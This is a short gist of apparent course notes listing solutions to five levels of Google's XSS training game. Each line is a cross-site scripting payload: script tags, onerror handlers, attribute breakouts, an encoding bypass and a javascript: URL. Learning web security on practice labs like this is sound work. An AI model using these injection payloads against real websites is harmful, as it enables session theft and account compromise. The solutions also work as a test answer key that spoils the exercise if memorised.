WCS // 3.1 [Basics] Attaques XSS : découvrir

gistfile1.txt

1st challenge : 
https://xss-game.appspot.com/level1/frame?query=<script>alert(1)</script>

2nd challenge : 
<img src=x onerror=alert(1)>

3rd challenge :
https://xss-game.appspot.com/level3/frame#3' onerror=alert(1)>

4th challenge :
https://xss-game.appspot.com/level4/frame?timer=')%3Balert(1)%3Bvar b=('
to counter the basic encoding

5th challenge :
https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(1) 
From the main page
Put a fake email and click on next to trigger the script